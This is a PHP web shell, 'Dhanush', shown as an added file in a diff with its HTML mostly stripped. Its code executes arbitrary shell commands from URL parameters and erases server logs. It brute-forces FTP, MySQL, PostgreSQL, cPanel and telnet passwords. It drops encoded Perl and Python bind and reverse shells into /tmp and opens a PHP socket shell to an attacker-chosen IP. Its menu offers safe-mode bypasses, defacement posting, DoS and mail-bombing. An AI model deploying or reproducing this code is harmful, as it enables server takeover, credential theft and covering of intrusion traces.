+
+
+
+ | Safe mode bypass |
+
+
+ |
+ Using copy() function
+
+ |
+
+ Using imap() function
+
+ |
+
+
+
+ |
+ Using sql() function
+
+ |
+
+ Using Curl() function
+
+ |
+
+
+
+ |
+ Bypass using include()
+
+ |
+
+ Using id() function
+
+ |
+
+
+
+ |
+ Using tempnam() function
+
+ |
+
+ Using symlink() function
+
+ |
+
+
+ |
+ Using Bypass function
+
+ |
+
+
+
+
+
+
PHP CURL NOT EXIST";
+ }
+ ?>
+
Zone-h Poster
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
">
+
+
+ ";
+ ob_start();
+ eval("phpinfo();");
+ $b = ob_get_contents();
+ ob_end_clean();
+ $a = strpos($b,"")+6; // yeah baby,, your body is wonderland ;-)
+ $z = strpos($b,"");
+ $s_result = "
".substr($b,$a,$z-$a)."
";
+ echo $s_result;
+}
+else if(isset($_GET['execute']))
+{
+ $comm = $_GET['execute'];
+ chdir($_GET['executepath']);
+ $check = shell_exec($comm);
+
+ echo "
";
+
+ ?>
+
+
Logs Cleared";
+ }
+ } else
+ {
+ if($openp = fopen("/tmp/logseraser.pl", 'w'))
+ {
+ fwrite($openp, $erase)or die("Error");
+ fclose($openp);
+ $aidx = passthru("perl logseraser.pl linux");
+ unlink("logseraser.pl");
+ echo "
Logs Cleared";
+ }
+ }
+ }
+ else
+ {
+ $check = shell_exec($_GET['mycmd']);
+ echo "
";
+ }
+}
+else if(isset($_GET['prototype']))
+{
+ echo '
Results
Type: '.htmlspecialchars($_GET['prototype']).'
Server: '.htmlspecialchars($_GET['serverport']).'
';
+ if( $_GET['prototype'] == 'ftp' )
+ {
+ function BruteFun($ip,$port,$login,$pass)
+ {
+ $fp = @ftp_connect($ip, $port?$port:21);
+ if(!$fp) return false;
+ $res = @ftp_login($fp, $login, $pass);
+ @ftp_close($fp);
+ return $res;
+ }
+ }
+ elseif( $_GET['prototype'] == 'mysql' )
+ {
+ function BruteFun($ip,$port,$login,$pass)
+ {
+ $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
+ @mysql_close($res);
+ return $res;
+ }
+ }
+ elseif( $_GET['prototype'] == 'pgsql' )
+ {
+ function BruteFun($ip,$port,$login,$pass)
+ {
+ $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
+ $res = @pg_connect($str);
+ @pg_close($res);
+ return $res;
+ }
+ }
+
+ $success = 0;
+ $attempts = 0;
+ $server = explode(":", $_GET['server']);
+ if($_GET['type'] == 1)
+ {
+ $temp = @file('/etc/passwd');
+ if( is_array($temp))
+ foreach($temp as $line)
+ {
+ $line = explode(":", $line);
+ ++$attempts;
+ if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
+ {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
';
+ }
+ if(@$_GET['reverse'])
+ {
+ $tmp = "";
+ for($i=strlen($line[0])-1; $i>=0; --$i)
+ $tmp .= $line[0][$i];
+ ++$attempts;
+ if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
+ {
+ $success++;
+ echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp);
+ }
+ }
+ }
+ }
+ elseif($_GET['type'] == 2)
+ {
+ $temp = @file($_GET['dict']);
+ if( is_array($temp) )
+ foreach($temp as $line)
+ {
+ $line = trim($line);
+ ++$attempts;
+ if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
+ {
+ $success++;
+ echo ''.htmlspecialchars($_GET['login']).':'.htmlspecialchars($line).'
';
+ }
+ }
+ }
+ echo "Attempts: $attempts Success: $success
";
+}
+// Execute Query
+else if(isset($_GET["executeit"]))
+{
+ if(isset($_GET['username']) && isset($_GET['server']))
+ {
+ $dbserver = $_GET['server'];
+ $dbuser = $_GET['username'];
+ $dbpass = $_GET['password'];
+ if(mysql_connect($dbserver,$dbuser,$dbpass))
+ {
+ setcookie("dbserver", $dbserver);
+ setcookie("dbuser", $dbuser);
+ setcookie("dbpass", $dbpass);
+
+ listdatabase();
+ }
+ else
+ echo "cannotconnect";
+ }
+}
+else if(isset($_GET['action']) && isset($_GET['dbname']))
+
+
+ {
+ if($_GET['action'] == "createDB")
+ {
+ $dbname = $_GET['dbname'];
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
+ mysql_query("create database $dbname",$mysqlHandle);
+ listdatabase();
+ }
+ if($_GET['action'] == 'dropDB')
+ {
+ $dbname = $_GET['dbname'];
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
+ mysql_query("drop database $dbname",$mysqlHandle);
+ mysql_close($mysqlHandle);
+ listdatabase();
+ }
+
+ if($_GET['action'] == 'listTables')
+ {
+ listtable();
+ }
+
+ // Create Tables
+ if($_GET['action'] == "createtable")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ mysql_query("CREATE TABLE $tablename ( no INT )");
+ listtable();
+ }
+
+ // Drop Tables
+ if($_GET['action'] == "dropTable")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ mysql_query("drop table $tablename");
+ listtable();
+ }
+
+ // Empty Tables
+ if($_GET['action'] == "empty")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ mysql_query("delete from $tablename");
+ listtable();
+ }
+
+ // Empty Tables
+ if($_GET['action'] == "dropField")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $fieldname = $_GET['fieldname'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
+ mysql_select_db( $dbname, $mysqlHandle );
+ mysql_query( $queryStr , $mysqlHandle );
+ listtable();
+ }
+
+ if($_GET['action'] == 'viewdb')
+ {
+ listdatabase();
+ }
+
+ // View Table Schema
+ if($_GET['action'] == "viewSchema")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ echo "
";
+ $pResult = mysql_query( "SHOW fields FROM $tablename" );
+ $num = mysql_num_rows( $pResult );
+ echo "
";
+ echo "| Field | Type | Null | Key | ";
+ for( $i = 0; $i < $num; $i++ )
+ {
+ $field = mysql_fetch_array( $pResult );
+ echo "\n";
+ echo "| ".$field["Field"]." | \n";
+ echo "".$field["Type"]." | \n";
+ echo "".$field["Null"]." | \n";
+ echo "".$field["Key"]." | \n";
+ echo "".$field["Default"]." | \n";
+ echo "".$field["Extra"]." | \n";
+ $fieldname = $field["Field"];
+ echo "Drop | \n";
+ echo "
\n";
+ }
+ echo "
";
+ echo "
";
+ }
+
+ // Execute Query
+ if($_GET['action'] == "executequery")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ $result = mysql_query($_GET['executemyquery']);
+
+ // results
+ echo "\r\n". strtoupper($_GET['executemyquery']) . "
\r\n
\r\n";
+
+ $count = 0;
+ while ($row = mysql_fetch_assoc($result))
+ {
+ echo "\r\n";
+
+ if ($count==0) // list column names
+ {
+ echo "
\r\n";
+ while($key = key($row))
+ {
+ echo "| " . $key . " | \r\n";
+ next($row);
+ }
+ echo "
\r\n";
+ }
+
+ foreach($row as $r) // list content of column names
+ {
+ if ($r=='') $r = 'NULL';
+ echo "" . $r . " | \r\n";
+ }
+ echo "\r\n";
+ $count++;
+ }
+ echo "
\n\r
" . $count . " rows returned.\r\n";
+ echo "
";
+ }
+
+ // View Table Data
+ if($_GET['action'] == "viewdata")
+ {
+ global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ echo "
";
+ ?>
+
+
+
Data in Table";
+ if( $tablename != "" )
+ echo "
$dbname > $tablename";
+ else
+ echo "
$dbname";
+
+ $queryStr = "";
+ $pag = 0;
+ $queryStr = stripslashes( $queryStr );
+ if( $queryStr == "" )
+ {
+ if(isset($_REQUEST['page']))
+ {
+ $res = mysql_query("select * from $tablename");
+ $getres = mysql_num_rows($res);
+ $coun = ceil($getres/30);
+ if($_REQUEST['page'] != 1)
+
+ $pag = $_REQUEST['page'] * 30;
+ else
+ $pag = $_REQUEST['page'] * 30;
+
+ $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
+ $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
+ $arrcount = 1;
+ $arrdata[$arrcount] = 0;
+ while($row = mysql_fetch_array($sql))
+ {
+ $arrdata[$arrcount] = $row[$rowid];
+ $arrcount++;
+ }
+ }
+ else
+ {
+ $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
+ $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
+ $arrcount = 1;
+ $arrdata[$arrcount] = 0;
+ while($row = mysql_fetch_array($sql))
+ {
+ $arrdata[$arrcount] = $row[$rowid];
+ $arrcount++;
+ }
+ }
+ if( $orderby != "" )
+ $queryStr .= " ORDER BY $orderby";
+ echo "
Schema\n";
+ }
+
+
+ $pResult = mysql_query($queryStr );
+ $fieldt = mysql_fetch_field($pResult);
+ $tablename = $fieldt->table;
+ $errMsg = mysql_error();
+
+ $GLOBALS[queryStr] = $queryStr;
+
+ if( $pResult == false )
+ {
+ echoQueryResult();
+ return;
+ }
+ if( $pResult == 1 )
+ {
+ $errMsg = "Success";
+ echoQueryResult();
+ return;
+ }
+
+ echo "
\n";
+
+ $row = mysql_num_rows( $pResult );
+ $col = mysql_num_fields( $pResult );
+
+ if( $row == 0 )
+ {
+ echo "
No Data Exist!";
+ return;
+ }
+
+ if( $rowperpage == "" ) $rowperpage = 30;
+ if( $page == "" ) $page = 0;
+ else $page--;
+ mysql_data_seek( $pResult, $page * $rowperpage );
+
+ echo "
\n";
+ echo "\n";
+ for( $i = 0; $i < $col; $i++ )
+ {
+ $field = mysql_fetch_field( $pResult, $i );
+ echo "| ";
+ if($action == "viewdata")
+ echo "".$field->name."\n";
+ else
+ echo $field->name."\n";
+ echo " | \n";
+ }
+ echo "Action | \n";
+ echo "
\n";
+ $num=1;
+
+
+ $acount = 1;
+
+ for( $i = 0; $i < $rowperpage; $i++ )
+ {
+ $rowArray = mysql_fetch_row( $pResult );
+ if( $rowArray == false ) break;
+ echo "\n";
+ $key = "";
+ for( $j = 0; $j < $col; $j++ )
+ {
+ $data = $rowArray[$j];
+
+ $field = mysql_fetch_field( $pResult, $j );
+ if( $field->primary_key == 1 )
+ $key .= "&" . $field->name . "=" . $data;
+
+ if( strlen( $data ) > 30 )
+ $data = substr( $data, 0, 30 ) . "...";
+ $data = htmlspecialchars( $data );
+ echo "| \n";
+ echo "$data\n";
+ echo " | \n";
+ }
+
+ if(!is_numeric($arrdata[$acount]))
+ echo "No Key | \n";
+ else
+ {
+ echo "Edit | \n";
+ echo "Delete | \n";
+ $acount++;
+ }
+ }
+ echo "
\n";
+
+
+ echo "
";
+ if($arrcount > 30)
+ {
+ $res = mysql_query("select * from $tablename");
+ $getres = mysql_num_rows($res);
+ $coun = ceil($getres/30);
+ echo "
";
+ echo "
";
+ }
+ }
+
+ // Delete Table Data
+ if($_GET['action'] == "deleteData")
+ {
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+ $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
+ $row = mysql_fetch_array($sql);
+ $row = $row['COLUMN_NAME'];
+ $rowid = $_GET[$row];
+ mysql_query("delete from $tablename where $row = '$rowid'");
+ listtable();
+ }
+ // Edit Table Data
+ if($_GET['action'] == "editData")
+ {
+ global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_GET['dbname'];
+ $tablename = $_GET['tablename'];
+ echo "
";
+ ?>
+
+
\n";
+ }
+ }
+// Edit Submit Table Data
+else if($_REQUEST['action'] == "editsubmitData")
+{
+ $dbserver = $_COOKIE["dbserver"];
+ $dbuser = $_COOKIE["dbuser"];
+ $dbpass = $_COOKIE["dbpass"];
+ $dbname = $_POST['dbname'];
+ $tablename = $_POST['tablename'];
+
+ $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
+ mysql_select_db($dbname);
+
+ $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
+ $row = mysql_fetch_array($sql);
+ $row = $row['COLUMN_NAME'];
+ $rowid = $_POST[$row];
+
+ $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
+ $num = mysql_num_rows( $pResult );
+
+ $rowcount = $num;
+
+ $pResultLen = mysql_list_fields( $dbname, $tablename );
+
+ for( $i = 0; $i < $num; $i++ )
+ {
+ $field = mysql_fetch_array( $pResult );
+ $fieldname = $field["Field"];
+ $arrdata = $_REQUEST[$fieldname];
+
+ $str .= " " . $fieldname . " = '" . $arrdata . "'";
+ $rowcount--;
+ if($rowcount != 0)
+ $str .= ",";
+ }
+
+ $str = "update $tablename set" . $str . " where $row=$rowid";
+ mysql_query($str);
+ ?>
File $v Deleted Successfully";
+ else
+ echo "
Cannot Delete File $v";
+ }
+ else if(is_dir($v))
+ {
+ rrmdir($v);
+ }
+ }
+ }
+ else if($_POST['choice'] == "chmod")
+ { ?>
+
=0;--$i)
+ $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
+ echo "
";
+ if(@chmod($v,$perms))
+ echo "File $v Permissions Changed Successfully
";
+ else
+ echo "Cannot Change $v File Permissions
";
+ echo "
";
+ }
+ }
+
+ }
+ }
+ else if($_POST['choice'] == "compre")
+ {
+ $actbox = $_POST["actbox"];
+ foreach ($actbox as $myv)
+ $myv = explode(",",$myv);
+ foreach ($myv as $v)
+ {
+ if(is_file($v))
+ {
+ $zip = new ZipArchive();
+ $filename= basename($v) . '.zip';
+ if(($zip->open($filename, ZipArchive::CREATE))!==true)
+ { echo '
Error: Unable to create zip file for $v';}
+ else {echo "
File $v Compressed successfully";}
+ $zip->addFile(basename($v));
+ $zip->close();
+ }
+ else if(is_dir($v))
+ {
+ if($os == "Linux")
+ {
+ $filename= basename($v);
+ execmd("tar --create --recursion --file=$filename.tar $v");
+ echo "
File $v Compressed successfully as $v.tar";
+ }
+ }
+ }
+ }
+ else if($_POST['choice'] == "uncompre")
+ {
+ $actbox = $_POST["actbox"];
+ foreach ($actbox as $myv)
+ $myv = explode(",",$myv);
+ foreach ($myv as $v)
+ {
+ if(is_file($v) || is_dir($v))
+ {
+ $zip = new ZipArchive;
+ $filename= basename($v);
+ $res = $zip->open($filename);
+ if ($res === TRUE)
+ {
+ $pieces = explode(".",$filename);
+ $zip->extractTo($pieces[0]);
+ $zip->close();
+ echo "
File $v Unzipped successfully";
+ } else
+ echo "
Error: Unable to Unzip file $v";
+ }
+ }
+ }
+}
+else if(isset($_GET['sitename']))
+{
+ $sitename = str_replace("http://","",$_GET['sitename']);
+ $sitename = str_replace("http://www.","",$sitename);
+ $sitename = str_replace("www.","",$sitename);
+ $show = myexe("ls -la /etc/valiases/".$sitename);
+ if(!empty($show))
+ echo $show;
+ else
+ echo "Cannot get the username";
+}
+else if(isset($_GET['mydata']))
+{
+ listdatabase();
+}
+else if(isset($_GET['home']))
+{
+ mainfun($_GET['home']);
+}
+else if(isset($_GET['dir']))
+{
+ mainfun($_GET['myfilepath']);
+}
+else if(isset($_GET['mydirpath']))
+{
+ echo is_writable($_GET['mydirpath'])?"
< writable >":"< not writable >";
+}
+else
+{
+?>
+
+
Dhanush : By Arjun
+
+
+
+
+
+
+
+
+ | System Info : |
+ Server Port : |
+ Software Info |
+
+
+ | Uid : |
+ 2)
+ {
+ flush();
+ $count++;
+ }
+ }
+ }
+ ?>Websites : | 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
+ continue;
+ $count++;
+ }
+ ?>Websites : |
+
+
+ | Disk Space : |
+ Free Space : |
+
+ Server IP : |
+ Your IP : |
+
+
+
+ | View Directories : |
+ Current Directory :
+ ".htmlspecialchars($b).$directorysperator.'';
+ $i++;
+ }
+
+ ?>
+ [Home] |
+ Disable functions : |
+ Safe Mode : |
+ Download It |
+
+
+
+'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
+ $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
+ echo "
+ ";
+ $menu = '';
+
+ foreach($m1 as $k => $v)
+ $menu .= "| [".$k."] | ";
+ echo $menu;
+ echo "
+
+
+
";?>
+
+
+
+ SecFilterEngine Off
+ SecFilterScanPOST Off
+ \n\r");
+
+ $file_pointer = fopen("ini.php", "w+");
+ fwrite($file_pointer, "");
+
+ $file_pointer = fopen("php.ini", "w+");
+ fwrite($file_pointer, "safe_mode = Off");
+
+ fclose($file_pointer);
+
+ }
+
+ else if(isset($_POST['cpanelattack']))
+ {
+ if(!empty($_POST['username']) && !empty($_POST['password']))
+ {
+ $userlist=explode("\n",$_POST['username']);
+ $passlist=explode("\n",$_POST['password']);
+
+ if($_POST['cracktype'] == "ftp")
+ {
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
+ }
+ }
+ }
+ if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
+ {
+ if($cracktype == "telnet")
+ $cpanel_port="23";
+ else
+ $cpanel_port="2082";
+ foreach ($userlist as $user)
+ {
+ $pureuser = trim($user);
+
+ echo "
[ - ]
+ Processing user $pureuser ...";
+
+ foreach ($passlist as $password )
+ {
+ $purepass = trim($password);
+ cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
+
+ }
+ }
+ }
+ }
+ else
+ $bdmessage = "
Enter Username & Password List";
+ }
+
+else if(isset($_GET['info']))
+{
+ $bdmessage = "
".nl2br(shell_exec("whois ".$_GET['info']))."
";
+}
+else if(isset($_POST['u']))
+{
+ $path = $_REQUEST['path'];
+ if(is_dir($path))
+ {
+ $setuploadvalue = 0;
+ $uploadedFilePath = $_FILES['uploadfile']['name'];
+ $tempName = $_FILES['uploadfile']['tmp_name'];
+ if($os == "Windows")
+ $uploadPath = $path . $directorysperator . $uploadedFilePath;
+ else if($os == "Linux")
+ $uploadPath = $path . $directorysperator . $uploadedFilePath;
+ if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
+ $bdmessage = "";
+ else
+ $bdmessage = "";
+ }
+ ?>$out\n".execmd("ps aux | grep bp.pl")."";
+ }
+ else
+ {
+ @$fh=fopen("/tmp/bp.pl","w");
+ @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
+ @fclose($fh);
+ execmd("chmod 0755 ".getcwd()."/bp.pl");
+ execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
+ $bdmessage = "$out\n".execmd("ps aux | grep bp.pl")."";
+ }
+ }
+ }
+}
+else if(isset($_POST['backconnect']))
+{
+ if($_POST['ip'] != "" && $_POST['port'] != "")
+ { ?>Trying to connect...";
+ execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
+ if(!@unlink(getcwd()."/bc.pl")) echo "Warning: Failed to delete reverse-connection program";
+ }
+ else
+ {
+ @$fh=fopen("/tmp/bc.pl","w");
+ @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
+ @fclose($fh);
+ $bdmessage = "Trying to connect...";
+ execmd("perl /tmp/bc.pl $host $port &",$disable);
+ if(!@unlink("/tmp/bc.pl"))
+ echo "Warning: Failed to delete reverse-connection program
";
+ }
+ }
+ else if($_POST["lang"] == "python")
+ {
+ if(is_writable("."))
+ {
+ $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
+ if($w_file)
+ {
+ @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
+ @fclose($w_file);
+ chmod(getcwd().'/bc.py', 0777);
+ }
+ execmd("python ".getcwd()."/bc.py $host $port &",$disable);
+ $bdmessage = "Trying to connect...";
+
+ if(!@unlink(getcwd()."/bc.py"))
+ echo "Warning: Failed to delete reverse-connection program
";
+ }
+ else
+ {
+ $w_file=@fopen("/tmp/bc.py","w");
+ if($w_file)
+ {
+ @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
+ @fclose($w_file);
+ chmod('/tmp/bc.py', 0777);
+ }
+ execmd("python /tmp/bc.py $host $port &",$disable);
+ $bdmessage = "Trying to connect...";
+ if(!@unlink("/tmp/bc.py"))
+ echo "Warning: Failed to delete reverse-connection program
";
+ }
+ }
+ else if($_POST["lang"] == "php")
+ {
+ $bdmessage = "Trying to connect...";
+ $ip = $_POST['ip'];
+ $port=$_POST['port'];
+ $sockfd=fsockopen($ip , $port , $errno, $errstr );
+ if($errno != 0)
+ {
+ $bdmessage = "$errno : $errstr";
+ }
+ else if (!$sockfd)
+ {
+ $result = "Fatal : An unexpected error was occured when trying to connect!
";
+ }
+ else
+ {
+ fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
+ $pwd = exec_all("pwd");
+ $sysinfo = exec_all("uname -a");
+ $id = exec_all("id");
+ $len = 1337;
+ fputs($sockfd ,$sysinfo . "\n" );
+ fputs($sockfd ,$pwd . "\n" );
+ fputs($sockfd ,$id ."\n\n" );
+ fputs($sockfd ,$dateAndTime."\n\n" );
+ while(!feof($sockfd))
+ {
+ $cmdPrompt ="(dhanush)[$]> ";
+ fputs ($sockfd , $cmdPrompt );
+ $command= fgets($sockfd, $len);
+ fputs($sockfd , "\n" . exec_all($command) . "\n\n");
+ }
+ fclose($sockfd);
+ }
+ }
+ }
+}
+else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
+{
+ $temp = "";
+ for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
+ {
+ $uid = @posix_getpwuid($_GET['val1']);
+ if ($uid)
+ $temp .= join(':',$uid)."\n";
+ }
+ echo '
';
+ paramexe('Users', $temp);
+}
+else if(isset($_GET['download']))
+{
+ download();
+}
+else
+{
+ ?>< writable >":"< not writable >";
+?>
+
+
+
+
+
+
+
+ |
+Create File :
+
+
+ |
+
+
+| Execute : |
+
+Create Directory : |
+| Get Exploit
+ |
+
+
+ |
+
+
+